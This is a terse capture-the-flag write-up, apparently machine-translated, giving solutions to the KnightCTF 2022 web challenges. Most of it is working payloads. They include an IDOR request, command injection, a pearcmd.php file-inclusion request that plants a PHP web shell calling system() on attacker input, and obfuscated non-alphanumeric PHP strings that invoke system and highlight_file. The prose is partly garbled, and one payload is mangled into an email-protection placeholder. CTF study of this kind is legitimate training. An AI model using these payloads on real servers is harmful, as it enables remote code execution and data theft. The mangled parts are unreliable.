Knightctf 2022 web section

Do Something Special

The title is very clear ,flag Location given , however # The symbol is considered to be resolved to the front-end route , Therefore, it will not return flag file , So just use url You can get it by coding flaayload：/[email protected]_y%[email protected]_h3r3!

Obsfuscation Isn't Enough

Front end validation ：

'if (document.forms[0].username.value == "83fe2a837a4d4eec61bd47368d86afd6" && document.forms[0].password.value == "a3fa67479e47116a4d6439120400b057") document.location = "150484514b6eeb1d99da836d95f6671d.php"'

We directly visit 150484514b6eeb1d99da836d95f6671d.php Can

Zero is not the limit

payload：/user/-1

Most Secure Calculator -

payload：cat flag.txt

My PHP Site

use p God blog's bare file contains direct access to getshell
payload：GET /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=system($_GET['cmd'])?>+/tmp/shell.php HTTP/1.1

Most Secure Calculator - 2

No alphanumeric bypass getshell
payload：equation=(~%8C%86%8C%8B%9A%92)(~%D8%93%8C%D8);
equation=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8B%87%8B);